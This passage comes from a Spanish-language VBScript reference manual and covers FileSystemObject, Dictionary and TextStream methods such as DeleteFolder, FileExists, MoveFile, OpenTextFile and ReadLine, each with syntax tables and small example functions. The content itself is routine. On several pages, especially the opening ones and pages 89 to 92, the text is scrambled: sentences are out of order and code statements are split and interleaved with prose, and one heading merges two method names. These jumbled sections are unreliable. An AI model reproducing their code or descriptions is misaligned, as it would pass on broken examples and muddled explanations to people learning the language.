El nombre de la carpeta que se va a eliminar. especificaciondecarpeta Requerido.FileSystemObject") fso. En el siguiente ejemplo se muestra el uso del método DeleteFolder: Sub EliminarUnaCarpeta(especificaciondearchivo) Dim fso Set fso = CreateObject("Scripting. Sintaxis objeto. Una letra de unidad o una especificación de ruta completa. en caso contrario. La carpeta especificada se eliminará independientemente de si tiene o no tiene contenido. forzar Opcional. No se intenta deshacer ningún cambio realizado antes de que se produjera un error. Comentarios Para unidades con discos removibles.com 82 . Comentarios El método DeleteFolderno diferencia las carpetas que tienen contenido y las que no tienen. forzar] La sintaxis del método DeleteFolder tiene las siguientes partes: Parte objeto Descripción Requerido. Use la propiedad IsReady del objeto Drive para determinar si una unidad está lista. Se produce un error si no se encuentran carpetas coincidentes. Siempre es el nombre de un objeto FileSystemObject. Sintaxis objeto. el método DriveExists devuelve True aunque no esté ningún disco insertado. Requerido.DeleteFolder(especificaciondearchivo) End Sub Método DriveExists Descripción Devuelve True si existe la unidad especificada. Siempre es el nombre de un objeto FileSystemObject. By KarlosVid(ÊÇ) www. el valor predeterminado es False si no se van a eliminar.Elimina la carpeta especificada y su contenido.DeleteFolder especificacióndecarpeta[. devuelve False.idat.DriveExists(especificacióndeunidad) La sintaxis del método DriveExists tiene las siguientes partes: Parte objeto especificacióndeunidad Descripción Requerido. El argumento especificacióndecarpeta puede contener caracteres comodín en el último componente de la ruta. Valor de tipo Boolean que es True si se desea eliminar carpetas que tienen atributo de sólo lectura.byethost14. El método DeleteFolder se detiene en el primer error que encuentra.

devuelve False en caso contrario." End If EjemploDeKeyExists = mensaje End Function Método FileExists Descripción Devuelve True si existe un archivo especificado. devuelve False. Valor clave que se está buscando en el objeto Dictionary.Exists(clave) La sintaxis del método Exists consta de las siguientes partes: Parte objeto key Descripción Es necesario.Add "a". d.") Else mensaje = ("La unidad " & UCase(unidad) & " no existe. Comentarios En el siguiente ejemplo se muestra el uso del método Exists: Function EjemploDeKeyExists Dim d.FileExists(especificacióndearchivo) By KarlosVid(ÊÇ) www.FileSystemObject") If fso.Add "c".byethost14.En el siguiente ejemplo se muestra el uso del método DriveExists: Function EstadoDeUnidad(unidad) Dim fso. "Atenas" ' Agregar algunas claves y elementos. Requerido.Add "b". "Belgrado" d. Sintaxis objeto." Else mensaje = "La clave especificada no existe. mensaje ' Crear algunas variables. mensaje Set fso = CreateObject("Scripting. "Cairo" If d.DriveExists(unidad) Then mensaje = ("La unidad " & UCase(unidad) & " existe. en caso contrario.idat. Sintaxis objeto.Exists("c") Then mensaje = "La clave especificada existe.") End If EstadoDeUnidad = mensaje End Function Método Exists Descripción Devuelve True si una clave especificada existe en el objeto Dictionary.Dictionary") d. Set d = CreateObject("Scripting.com 83 . Siempre es el nombre de un objeto Dictionary.

El nombre del archivo cuya existencia se va a determinar." Else mensaje = especificaciondearchivo & " no existe.FileSystemObject") If (fso. mensaje Set fso = CreateObject("Scripting. El nombre de la carpeta cuya existencia se va a determinar. mensaje Set fso = CreateObject("Scripting. especificaciondecarpeta Requerido. devuelve False." Else mensaje = carpeta & " no existe. Siempre es el nombre de un objeto FileSystemObject.idat.FileExists(especificaciondearchivo)) Then mensaje = especificaciondearchivo & " existe.FolderExists(carpeta)) Then mensaje = carpeta & " existe.La sintaxis del método FileExists tiene las siguientes partes: Parte objeto Descripción Requerido. Se debe proporcionar una especificación de ruta completa (absoluta o relativa) si se espera que la carpeta no exista en la carpeta actual. especificaciondearchivo Requerido.byethost14. Se debe proporcionar una especificación de ruta completa (absoluta o relativa) si se espera que el archivo no exista en la carpeta actual.FolderExists(especificacióndecarpeta) La sintaxis del método FolderExists tiene las siguientes partes: Parte objeto Descripción Requerido.com 84 . en caso contrario. Comentarios En el siguiente ejemplo se muestra el uso del método FileExists: Function EstadoDeArchivo(especificaciondearchivo) Dim fso." End If EstadoDeCarpeta = mensaje End Function Método Método GetAbsolutePathName By KarlosVid(ÊÇ) www.FileSystemObject") If (fso. Comentarios En el siguiente ejemplo se muestra el uso del método FolderExists: Function EstadoDeCarpeta(carpeta) Dim fso. Siempre es el nombre de un objeto FileSystemObject. Sintaxis objeto." End If EstadoDeArchivo = mensaje End Function Método FolderExists Descripción Devuelve True si existe una carpeta especificada.

Descripción
Devuelve una ruta completa y unívoca a partir de una especificación de ruta proporcionada.

Sintaxis
objeto.GetAbsolutePathName(especificaciónderuta) La sintaxis del método GetAbsolutePathName tiene las siguientes partes: Parte objeto especificaciónderuta Descripción Requerido. Siempre es el nombre de un objeto FileSystemObject. Requerido. Especificación de ruta que se va a cambiar a una ruta completa y unívoca.

Comentarios
Una ruta es completa y unívoca si proporciona una referencia completa desde la raíz de la unidad especificada. Una ruta completa sólo puede finalizar con un carácter separador de rutas (\) si especifica la carpeta raíz de una unidad asignada. Si asume que el directorio actual es c:\misdocumentos\informes, la siguiente tabla muestra el comportamiento del método GetAbsolutePathName. especificaciónderuta "c:" "c:.." "c:\\\" "c:*.*\mayo97" "región1" "c:\..\..\misdocumentos" Ruta devuelta "c:\misdocumentos\informes" "c:\misdocumentos" "c:\" "c:\misdocumentos\informes\*.*\mayo97" "c:\misdocumentos\informes\región1" "c:\misdocumentos"

Método GetBaseName
Descripción
Devuelve una cadena que contiene el nombre base del archivo (menos la extensión de archivo) o carpeta de una especificación de ruta proporcionada.

Sintaxis
objeto.GetBaseName(ruta) La sintaxis del método GetBaseName tiene las siguientes partes: Parte objeto ruta Descripción Requerido. Siempre es el nombre de un objeto FileSystemObject. Requerido. La especificación de ruta del archivo o carpeta cuyo nombre base se va a devolver.

Comentarios By KarlosVid(ÊÇ) www.idat.byethost14.com 85

El método GetBaseName devuelve una cadena de longitud cero ("") si ningún archivo o carpeta coincide con el argumento ruta. En el siguiente ejemplo se muestra el uso del método GetBaseName: Function ObtenerBase(especificaciondearchivo) Dim fso Set fso = CreateObject("Scripting.FileSystemObject") ObtenerBase = fso.GetBaseName(especificaciondearchivo) End Function

Nota El método GetBaseName sólo funciona en la cadena ruta proporcionada. No intenta resolver la ruta ni verifica la existencia de la ruta especificada.

Método GetDrive
Descripción
Devuelve un objeto Drive que corresponde a la unidad de una ruta especificada.

Sintaxis
objeto.GetDrive especificacióndeunidad La sintaxis del método GetDrive tiene las siguientes partes: Parte objeto Descripción Requerido. Siempre es el nombre de un objeto FileSystemObject.

especificacióndeunidad Requerido. El argumento especificacióndeunidad puede ser una letra de unidad (c), una letra de unidad seguida de dos puntos (c:), una letra de unidad seguida de dos puntos y de un separador de rutas (c:\) o cualquier especificación de recurso compartido de red (\\equipo2\recurso1).

Comentarios
Para los recursos compartidos de red se comprueba la existencia del recurso. Se produce un error si especificacióndeunidad no cumple con uno de los formatos aceptados o si no existe. Para llamar al método GetDrive en una cadena de ruta normal, use la siguiente secuencia para obtener una cadena que se pueda usar como especificacióndeunidad: EspecificaciondeUnidad = GetDriveName(GetAbsolutePathName(ruta)) En el siguiente ejemplo se muestra el uso del método GetDrive: Function MostrarEspacioLibre(unidadRuta) Dim fso, d, s Set fso = CreateObject("Scripting.FileSystemObject") Set d = fso.GetDrive(fso.GetDriveName(unidadRuta)) s = "Unidad " & UCase(unidadRuta) & " - " s = s & d.VolumeName & "<BR>" s = s & "Espacio libre: " & FormatNumber(d.FreeSpace/1024, 0) s = s & " Kbytes" MostrarEspacioLibre = s End Function

Método GetDriveName
By KarlosVid(ÊÇ) www.idat.byethost14.com 86

Descripción
Devuelve una cadena que contiene el nombre de la unidad para una ruta especificada.

Sintaxis
objeto.GetDriveName(ruta) La sintaxis del método GetDriveName tiene las siguientes partes: Parte objeto ruta Descripción Requerido. Siempre es el nombre de un objeto FileSystemObject. Requerido. La especificación de ruta para el componente cuyo nombre de unidad se va a devolver.

Comentarios
El método GetDriveName devuelve una cadena de longitud cero ("") si no se puede determinar la unidad. En el siguiente ejemplo se muestra el uso del método GetDriveName: Function ObtenerUnNombre(EspecificacionDeUnidad) Dim fso Set fso = CreateObject("Scripting.FileSystemObject") ObtenerUnNombre = fso.GetDriveName(EspecificacionDeUnidad) End Function

Nota El método GetDriveName sólo funciona en la cadena ruta proporcionada. No intenta resolver la ruta ni verifica la existencia de la ruta especificada.

Método GetExtensionName
Descripción
Devuelve una cadena que contiene el nombre de extensión para el último componente de la ruta.

Sintaxis
objeto.GetExtensionName(ruta) La sintaxis del método GetExtensionName tiene las siguientes partes: Parte objeto ruta Descripción Requerido. Siempre es el nombre de un objeto FileSystemObject. Requerido. La especificación de ruta para el componente cuyo nombre de extensión se va a devolver.

Comentarios
Para unidades de red, el directorio raíz (\) se considera un componente. El método GetExtensionName devuelve una cadena de longitud cero ("") si ningún componente coincide con el argumento ruta. En el siguiente ejemplo se muestra el uso del método GetExtensionName:

By KarlosVid(ÊÇ)

www.idat.byethost14.com

87

Function ObtenerUnaExtension(EspecificacionDeUnidad) Dim fso Set fso = CreateObject("Scripting.FileSystemObject") ObtenerUnaExtension = fso.GetExtensionName(EspecificacionDeUnidad) End Function

Método GetFile
Descripción
Devuelve un objeto File que corresponde al archivo de la ruta especificada.

Sintaxis
objeto.GetFile(especificaciondearchivo) La sintaxis del método GetFile tiene las siguientes partes: Parte objeto Descripción Requerido. Siempre es el nombre de un objeto FileSystemObject.

especificaciondearchivo Requerido. especificaciondearchivo es la ruta (absoluta o relativa) a un archivo específico.

Comentarios
Se produce un error si el archivo especificado no existe. En el siguiente ejemplo se muestra el uso del método GetFile: Function MostrarInformacionDeAccesoDeArchivo(especificaciondearchivo) Dim fso, f, s Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.GetFile(especificaciondearchivo) s = f.Path & "<br>" s = s & "Creado: " & f.DateCreated & "<br>" s = s & "Último acceso: " & f.DateLastAccessed & "<br>" s = s & "Última modificación: " & f.DateLastModified MostrarInformacionDeAccesoDeArchivo = s End Function

Método GetFileName
Descripción
Devuelve el último nombre de archivo o carpeta de una ruta especificada que no forma parte de la especificación de unidad.

Sintaxis
objeto.GetFileName(especificaciónderuta) La sintaxis del método GetFileName tiene las siguientes partes: Parte Descripción

By KarlosVid(ÊÇ)

www.idat.byethost14.com

88

SubFolders If nombredecarpeta <> "" Then Set nf = fc. La ruta (absoluta o relativa) a un archivo especificado.FileSystemObject") ObtenerUnNombre = fso.Add(nombredecarpeta) Else Set nf = fc. Siempre es el nombre de un objeto FileSystemObject. Siempre es el nombre de un objeto FileSystemObject. nf Set fso = CreateObject("Scripting.Add("Nueva carpeta") End If End Sub By KarlosVid(ÊÇ) www.GetFolder(especificaciondecarpeta) La sintaxis del método GetFolder tiene las siguientes partes: Parte objeto Descripción Requerido.FileSystemObject") Set f = fso.GetFileName(EspecificacionDeUnidad) End Function Nota El método GetFileName sólo funciona en la cadena de ruta proporcionada. Comentarios Se produce un error si la carpeta especificada no existe. Método GetFolder Descripción Devuelve un objeto Folder que corresponde a la carpeta de la ruta especificada. En el siguiente ejemplo se muestra el uso del método GetFileName: Function ObtenerUnNombre(EspecificacionDeUnidad) Dim fso Set fso = CreateObject("Scripting. No intenta resolver la ruta ni verifica la existencia de la ruta especificada. Sintaxis objeto.idat.GetFolder(ruta) Set fc = f.objeto especificaciónderuta Requerido.byethost14.com 89 . f. especificaciondecarpeta Requerido. fc. especificaciondecarpeta es la ruta (absoluta o relativa) a una carpeta específica. Requerido. nombredecarpeta) Dim fso. Comentarios El método GetFileName devuelve una cadena de longitud cero ("") si especificaciónderuta no finaliza con el nombre de archivo o carpeta. El siguiente ejemplo muestra el uso del método GetFolder para devolver un objeto Folder: Sub AgregarNuevaCarpeta(ruta.

Puede ser cualquiera de las constantes mostradas en la sección Valores. ruta Requerido.FileSystemObject") ObtenerPrincipal = fso. Sintaxis objeto.GetParentFolderName(EspecificacionDeUnidad) End Function Nota El método GetParentFolderName sólo funciona en la cadena ruta proporcionada. especificaciondecarpeta Requerido. Siempre es el nombre de un objeto FileSystemObject.idat. Siempre es el nombre de un objeto FileSystemObject.GetSpecialFolder(especificaciondecarpeta) La sintaxis del método GetSpecialFolder tiene las siguientes partes: Parte objeto Descripción Requerido. La especificación de ruta para el archivo o carpeta cuyo nombre de carpeta principal se va a devolver. Método GetSpecialFolder Descripción Devuelve la carpeta especial especificada. Valores By KarlosVid(ÊÇ) www.com 90 . Comentarios El método GetParentFolderName devuelve una cadena de longitud cero ("") si no hay carpeta principal para el archivo o carpeta especificado en el argumento ruta. No intenta resolver la ruta ni verifica la existencia de la ruta especificada. El nombre de la carpeta especial que se va a devolver. En el siguiente ejemplo se muestra el uso del método GetParentFolderName: Function ObtenerPrincipal(EspecificacionDeUnidad) Dim fso Set fso = CreateObject("Scripting.GetParentFolderName(ruta) La sintaxis del método GetParentFolderName tiene las siguientes partes: Parte Descripción objeto Requerido. Sintaxis objeto.Método GetParentFolderName Descripción Devuelve una cadena que contiene el nombre de la carpeta principal del último archivo o carpeta de la ruta especificada.byethost14.

tarchivo Const TemporaryFolder = 2 Set tcarpeta = fso. La carpeta System contiene bibliotecas. La carpeta Temp se usa para almacenar archivos temporalmente. Sintaxis objeto.El argumento especificaciondecarpeta puede tener cualquiera de los siguientes valores: Constante WindowsFolder SystemFolder TemporaryFolder Valor 0 1 2 Descripción La carpeta Windows contiene archivos instalados por el sistema operativo Windows. Comentarios En el siguiente ejemplo se muestra el uso del método GetSpecialFolder: Dim fso.FileSystemObject") Function CrearArchivoTemporal Dim tcarpeta. En el siguiente ejemplo se muestra el uso del método GetTempName: Dim fso.idat. Su ruta se encuentra en la variable de entorno TMP. fuentes y controladores de dispositivos. archivotemporal Set fso = CreateObject("Scripting.WriteLine "Hola mundo" archivotemporal.CreateTextFile(tnombre) Set CrearArchivoTemporal = tarchivo End Function Set archivotemporal = CrearArchivoTemporal archivotemporal.GetTempName El argumento opcional objeto siempre es el nombre de un objeto FileSystemObject.CreateTextFile(tnombre) Set CrearArchivoTemporal = tarchivo By KarlosVid(ÊÇ) www.GetSpecialFolder(TemporaryFolder) tnombre = fso.byethost14. Sólo proporciona un nombre de archivo temporal que se puede usar con CreateTextFile para crear un archivo.GetSpecialFolder(TemporaryFolder) tnombre = fso. Comentarios El método GetTempName no crea un archivo. tnombre.GetTempName Set tarchivo = tcarpeta. tarchivo Const TemporaryFolder = 2 Set tcarpeta = fso.GetTempName Set tarchivo = tcarpeta.com 91 . archivotemporal Set fso = CreateObject("Scripting.FileSystemObject") Function CrearArchivoTemporal Dim tcarpeta. tnombre.Close Método GetTempName Descripción Devuelve un nombre de archivo o carpeta temporal generado aleatoriamente que es útil para realizar operaciones que requieren un archivo o una carpeta temporal.

s ' Crea algunas variables Set d = CreateObject("Scripting.Add "a". i ' Crea algunas variables Set d = CreateObject("Scripting.com 92 . i.Count -1 ' Itera la matriz s = s & a(i) & "<BR>" ' Crea cadena de devolución Next EjemploDeDic = s End Function Método Keys Descripción Devuelve una matriz que contiene todas las claves existentes en un objeto Dictionary. d. Sintaxis objeto. Comentarios En el siguiente código se muestra el uso del método Items: Function EjemploDeDic Dim a.Add "b".Dictionary") d.idat.Add "c".Keys For i = 0 To d. "Cairo" ' Obtiene las claves a = d. "Belgrado" d. d. "Belgrado" d.byethost14.Add "c". Sintaxis objeto.Dictionary") d. "Atenas" ' Agrega algunas claves y elementos d.WriteLine "Hola mundo" archivotemporal.Keys objeto siempre es el nombre de un objeto Dictionary.Add "b".Items ' Obtiene los elementos For i = 0 To d.Count -1 ' Itera la matriz s = s & a(i) & "<BR>" ' Devuelve resultados By KarlosVid(ÊÇ) www. "Cairo" a = d.Close Método Ítems Descripción Devuelve una matriz que contiene todos los elementos en un objeto Dictionary. "Atenas" ' Agrega algunas claves y elementos d.Add "a".End Function Set archivotemporal = CrearArchivoTemporal archivotemporal.Items objeto siempre es el nombre de un objeto Dictionary. Comentarios En el siguiente código se muestra el uso del método Keys: Function EjemploDeDic Dim a.

MoveFolder. MyFile Set fso = CreateObject("Scripting. destino Requerido. Requerido.byethost14. En el siguiente ejemplo se muestra el uso del método Move: Dim fso. No se admiten caracteres comodín.Move destino La sintaxis del método Move tiene las siguientes partes: Parte objeto destino Descripción Requerido.idat.Move "c:\windows\escritorio\" Método MoveFile Descripción Mueve uno o más archivos desde una ubicación a otra. destino La sintaxis del método MoveFile tiene las siguientes partes: Parte objeto origen Descripción Requerido.") MyFile.Next EjemploDeDic = s End Function Método Move Descripción Mueve un archivo o carpeta especificados desde una ubicación a otra.FileSystemObject") Set MyFile = fso. La ruta a la que se van a mover el archivo o archivos. True) a.Close Set MyFile = fso. debería tener en cuente que los métodos alternativos son capaces de mover varios archivos o carpetas. El argumento origen sólo puede contener caracteres comodín en el último componente de la ruta. Siempre es el nombre de un objeto File o Folder Requerido. Sintaxis objeto. El argumento destino no puede contener By KarlosVid(ÊÇ) www.MoveFile origen.CreateTextFile("c:\prueba. Sintaxis objeto.txt". La ruta del archivo o archivos que se van a mover.txt") MyFile. Comentarios Los resultados del método Move en un objeto File o en un objeto Folder son idénticos a las operaciones realizadas con FileSystemObject.GetFile("c:\prueba.MoveFile o FileSystemObject.com 93 .WriteLine("Esto es una prueba. Siempre es el nombre de un objeto FileSystemObject. Destino al que se va a mover el archivo o carpeta. Sin embargo.

Método MoveFolder Descripción Mueve una o más carpetas desde una ubicación a otra. Este es el caso más frecuente. pueden ocurrir tres situaciones cuando se mueve una sola carpeta: • • Si destino no existe. Requerido. El argumento origen sólo puede contener caracteres comodín en el último componente de la ruta. se asume que destino es el nombre de una carpeta de destino que se va a crear. Comentarios Si origen contiene caracteres comodín o si destino termina con un separador de rutas (\). se produce un error.com 94 . Este es el caso más frecuente. Si destino es un archivo existente. De lo contrario. se produce un error.caracteres comodín.MoveFolder origen. El método MoveFile se detiene en el primer error que encuentra. el archivo se mueve. destino La sintaxis del método MoveFolder tiene las siguientes partes: Parte objeto origen Descripción Requerido. la carpeta se mueve. Si destino es un directorio. No se intenta deshacer los cambios antes de que se produzca el error. El argumento destino no puede contener caracteres comodín. "c:\windows\escritorio\" End Sub Importante Este método sólo permite mover archivos entre volúmenes si el sistema operativo lo permite. En el siguiente ejemplo se muestra el uso del método MoveFile: Sub MoverUnArchivo(EspecificacionDeArchivo) Dim fso Set fso = CreateObject("Scripting. Sintaxis objeto. destino Requerido. La ruta a la que se van a mover la carpeta o carpetas.byethost14. También se produce un error si un carácter comodín que se usa en origen no coincide con ningún archivo. En cualquier caso.idat. pueden ocurrir tres situaciones cuando se mueve un solo archivo: • • • Si destino no existe. se asume que destino es el nombre de un archivo de destino que se va a crear. Comentarios Si origen contiene caracteres comodín o si destino termina con un separador de ruta (\).MoveFile EspecificacionDeArchivo. La ruta a la carpeta o carpetas que se van a mover. By KarlosVid(ÊÇ) www.FileSystemObject") fso. se asume que destino especifica una carpeta existente a la que se van a mover los archivos coincidentes. De lo contrario. se produce un error. Siempre es el nombre de un objeto FileSystemObject. En cualquier caso. Si destino es un archivo existente. se asume que destino especifica una carpeta existente a la que se van a mover los archivos coincidentes.

byethost14.• Si destino es un directorio. Valores El argumento modoES puede tener uno de los siguientes valores: Constante ForReading ForWriting ForAppending Valor 1 2 8 Descripción Abre un archivo sólo para leer. El argumento formato puede tener uno de los siguientes valores: Constante TristateUseDefault TristateTrue Valor -2 -1 Descripción Opens the file using the system default. No se intenta deshacer los cambios hechos antes de que ocurriera el error. ForWriting o ForAppending. su contenido anterior se sobreescribe.com 95 . Si ya existe un archivo con el mismo nombre. escribir o anexar datos al archivo. Abre un archivo y escribe al final del mismo. También se produce un error si un carácter comodín que se usa en origen no coincide con ninguna carpeta. Si se omite. formato Opcional. "c:\windows\escritorio\" End Sub Importante Este método sólo permite mover carpetas entre volúmenes si el sistema operativo lo permite. Indica el modo de entrada y salida. En el siguiente ejemplo se muestra el uso del método MoveFolder: Sub MoverUnaCarpeta(EspecificacionDeUnidad) Dim fso Set fso = CreateObject("Scripting. Siempre es el nombre de un objeto File. By KarlosVid(ÊÇ) www.MoveFolder EspecificacionDeUnidad. se produce un error.FileSystemObject") fso. [formato]]) La sintaxis del método OpenAsTextStream tiene las siguientes partes: Parte objeto Descripción Requerido. Uno de tres valores Tristate usados para indicar el formato del archivo abierto. Abre un archivo para escribir. Puede ser una de tres constantes: ForReading. Opens the file as Unicode.OpenAsTextStream([modoES.idat. El método MoveFolder se detiene en el primer error que encuentra. No se puede escribir en ese archivo. Método OpenAsTextStream Descripción Abre un archivo especificado y devuelve un objeto TextStream que se puede usar para leer. modoES Opcional. el archivo se abre con formato ASCII. Sintaxis objeto.

Valor de tipo Boolean que indica si se puede crear un nuevo archivo si no existe nombredearchivo especificado. ForAppending = 8 Const TristateUseDefault = -2.FileSystemObject") fso.idat. modoES[. Set f = fso.byethost14. ForWriting o ForAppending. No se puede escribir en ese archivo. crear[.txt") Set ts = f. escribir o anexar datos al archivo. ForWriting = 2. Puede ser una de tres constantes: ForReading.OpenTextFile(nombredearchivo[. TristateUseDefault) ProbarTextStream = ts.com 96 . Siempre es el nombre de un objeto FileSystemObject. modoES crear Opcional. TristateTrue = -1.CreateTextFile "test1. Expresión de cadena que identifica el archivo que se va a abrir.Write "Hola a todos" ts. El valor predeterminado es False.ReadLine ts. f. y es igual a False si no se crea. TristateUseDefault) ts. Sintaxis objeto. el método OpenAsTextStream se puede usar para escribir en un archivo. Además. ts Set fso = CreateObject("Scripting. Si se omite. Uno de tres valores Tristate que se usa para indicar el formato del archivo abierto. Opcional.txt" ' Crea un archivo.Close End Function Método OpenTextFile Descripción Abre un archivo especificado y devuelve un objeto TextStream que se puede usar para leer.OpenAsTextStream(ForWriting.Close Set ts = f.GetFile("test1. Indica el modo de entrada y salida. Comentarios El método OpenAsTextStream proporciona la misma funcionalidad que el método OpenTextFile de FileSystemObject. TristateFalse = 0 Dim fso. formato]]]) El método OpenTextFileCreateFolder tiene las siguientes partes: Parte objeto Descripción Requerido. el archivo se abre como ASCII. El siguiente código muestra el uso del método OpenAsTextStream: Function ProbarTextStream Const ForReading = 1. formato Valores El argumento modoES puede tener cualquiera de los siguientes valores: Constante ForReading Valor 1 Descripción Abre un archivo sólo para leer. By KarlosVid(ÊÇ) www.TristateFalse 0 Opens the file as ASCII. Opcional. nombredearchivo Requerido.OpenAsTextStream(ForReading. El valor es True si se crea un nuevo archivo.

Write "Hola mundo" f. True) f.Read(5) End Function By KarlosVid(ÊÇ) www. ParaAnexar = 8 Dim fso.idat. ForAppending = 8 Dim fso.ForWriting ForAppending 2 8 Abre un archivo sólo para escribir.Close End Sub Método Read Descripción Lee un número especificado de caracteres de un archivo TextStream y devuelve la cadena resultante. ParaEscribir.OpenTextFile("c:\prueba. ParaLeer) LeerPruebaDeArchivoDeTexto = f. Sintaxis objeto. f Set fso = CreateObject("Scripting. Abre el archivo como ASCII. El argumento formato puede tener uno de los siguientes valores: Constante TristateUseDefault TristateTrue TristateFalse Valor -2 -1 0 Descripción Abre el archivo con el valor predeterminado del sistema.OpenTextFile("c:\prueba. Requerido. ForWriting = 2.Write "Hola mundo" Set f = fso.txt". Abre un archivo y escribe al final del mismo. True) f. ParaEscribir = 2.FileSystemObject") Set f = fso.OpenTextFile("c:\prueba. Comentarios El siguiente código muestra el uso del método OpenTextFile para abrir un archivo para escribir texto: Sub ProbarOpenTextFile Const ForReading = 1.byethost14. Número de caracteres que desea leer del archivo. Comentarios En el siguiente ejemplo se muestra el uso del método Read para leer cinco caracteres de un archivo y devolver la cadena resultante: Function LeerPruebaDeArchivoDeTexto Const ParaLeer = 1.txt".FileSystemObject") Set f = fso. Abre el archivo como Unicode.Read(caracteres) La sintaxis del método Read tiene las siguientes partes: Parte objeto caracteres Descripción Requerido. Siempre es el nombre de un objeto TextStream. f. No se puede leer de ese archivo.txt". Msg Set fso = CreateObject("Scripting. ForWriting.com 97 .

Comentarios En el siguiente ejemplo se muestra el uso del método ReadLine para leer una línea desde un archivo TextStream y devolver la cadena: Function LeerLíneaEnArchivoDeTexto Const ForReading = 1.idat.OpenTextFile("c:\prueba. sin incluirlo) desde un archivo TextStream y devuelve la cadena resultante. ParaEscribir = 2 Dim fso. True) MyFile. Comentarios Con archivos largos el uso del método ReadAll consume muchos recursos de memoria. True) f. ParaLeer) LeerArchivoDeTextoCompleto = f. Sintaxis objeto.ReadAll End Function Método ReadLine Descripción Lee una línea completa (hasta el carácter de nueva línea.WriteLine "La rápida zorra marrón" MyFile.OpenTextFile("c:\archprue. ForReading) LeerLíneaEnArchivoDeTexto = MyFile.com 98 .ReadLine ' Devuelve "Hola a todos" End Function Método Remove By KarlosVid(ÊÇ) www.txt".Método ReadAll Descripción Lee un archivo TextStream completo y devuelve la cadena resultante.ReadLine El argumento objeto siempre es el nombre de un objeto TextStream. ForWriting.byethost14.txt".Close Set MyFile = fso.Write "Hola mundo" Set f = fso.OpenTextFile("c:\prueba. Sintaxis objeto.txt".ReadAll objeto siempre es el nombre de un objeto TextStream.FileSystemObject") Set MyFile = fso. f Set fso = CreateObject("Scripting.OpenTextFile("c:\archprue. MyFile Set fso = CreateObject("Scripting.WriteLine "Hola a todos" MyFile. Function LeerArchivoDeTextoCompleto Const ParaLeer = 1.txt". Debe usar otras técnicas para introducir un archivo. ForWriting = 2 Dim fso. como leer un archivo línea a línea. ParaEscribir.FileSystemObject") Set f = fso.

Sintaxis objeto. En el siguiente código se muestra el uso del método Remove: Dim a. d ' Crea algunas variables Set d = CreateObject("Scripting.Add "b". "Belgrado" d. Comentarios Se producirá un error si el par de elemento y clave no existe.Add "c".Remove(clave) La sintaxis del método Remove tiene las siguientes partes: Parte objeto clave Descripción Requerido. "Cairo" ..byethost14.Dictionary") d. "Atenas" ' Agrega algunas claves y elementos d.com 99 . i ' Crea algunas variables Set d = CreateObject("Scripting. Comentarios En el siguiente código se muestra el uso del método RemoveAll: Dim a.idat.RemoveAll ' Borra el diccionario Método Skip Descripción By KarlosVid(ÊÇ) www.. Clave asociada con el par de elemento y clave que desea quitar el objeto Dictionary.Add "a"..Descripción Quita un par de elemento y clave de un objeto Dictionary.RemoveAll objeto siempre es el nombre de un objeto Dictionary. Sintaxis objeto.Remove("b") ' Quita el segundo par Método RemoveAll Descripción El método RemoveAll quita todos los pares de elementos y claves de un objeto Dictionary. a = d. "Atenas" ' Agrega algunas claves y elementos d.Add "a". d. "Cairo" . "Belgrado" d.Dictionary") d. d..Add "b". Requerido.Add "c". Siempre es el nombre de un objeto Dictionary.

com 100 . ParaEscribir = 2 Dim fso.Skip(6) SaltarArchivoDeTexto = f. ParaLeer) f. f Set fso = CreateObject("Scripting. True) f.txt".OpenTextFile("c:\prueba. Se produce un error si el archivo no está abierto para lectura. incluyendo el mismo. True) f. Requerido.byethost14. Sintaxis objeto. ForReading) f.txt".OpenTextFile("c:\prueba.OpenTextFile("c:\prueba. Siempre es el nombre de un objeto TextStream. ForWriting = 2 Dim fso. En el siguiente ejemplo se muestra el uso del método SkipLine: Function SaltarLíneaEnArchivo Const ParaLeer = 1. Comentarios Los caracteres saltados se ignoran.Write "Hola mundo" & vbCrLf & "VB Script es divertido" Set f = fso.SkipLine By KarlosVid(ÊÇ) www.OpenTextFile("c:\prueba. Sintaxis objeto.txt".idat. ForWriting.txt".Skip(caracteres) La sintaxis del método Skip tiene las siguientes partes: Parte objeto caracteres Descripción Requerido.Salta un número de caracteres especificado al leer un archivo TextStream.Write "Hola mundo" Set f = fso. ParaEscribir.ReadLine End Function Método SkipLine Descripción Salta a la siguiente línea al leer un archivo TextStream. Comentarios Saltar una línea significa leer y pasar por alto todos los caracteres de una línea hasta el carácter de nueva línea. Número de caracteres que se saltan al leer un archivo. f Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso. Los siguientes ejemplos usan el método Skip para saltar los primeros seis caracteres antes de leer un archivo de texto: Function SaltarArchivoDeTexto Const ForReading = 1.SkipLine objeto siempre es el nombre de un objeto TextStream.FileSystemObject") Set f = fso.

ParaEscribir. Use el método WriteLine para escribir un carácter de nueva línea o una cadena que termine con un carácter de nueva línea.ReadLine End Function Método WriteBlankLines Descripción Escribe un número especificado de caracteres de nueva línea en un archivo TextStream. Número de caracteres de nueva línea que desea escribir en el archivo. Texto que desea escribir en el archivo.byethost14.FileSystemObject") Set f = fso.idat.ReadLine End Function Método Write Descripción Escribe una cadena especificada en un archivo TextStream.txt".OpenTextFile("c:\prueba. ParaEscribir = 2 Dim fso. Requerido. Siempre es el nombre de un objeto TextStream.SaltarLíneaEnArchivo = f. Comentarios Las cadenas especificadas se escriben en el archivo sin el uso de espacios ni caracteres entre cada cadena. By KarlosVid(ÊÇ) www.Write(cadena) La sintaxis del método Write tiene las siguientes partes: Parte objeto cadena Descripción Requerido.WriteBlankLines(lines) La sintaxis del método WriteBlankLines tiene las siguientes partes: Parte objeto lines Descripción Requerido. True) f.Write "Hola mundo" Set f = fso. Sintaxis objeto. En el siguiente ejemplo se muestra el uso del método Write: Function EscribirEnArchivo Const ParaLeer = 1.com 101 . f Set fso = CreateObject("Scripting.txt". Requerido. ParaLeer) EscribirEnArchivo = f. Siempre es el nombre de un objeto TextStream. Sintaxis objeto.OpenTextFile("c:\prueba.

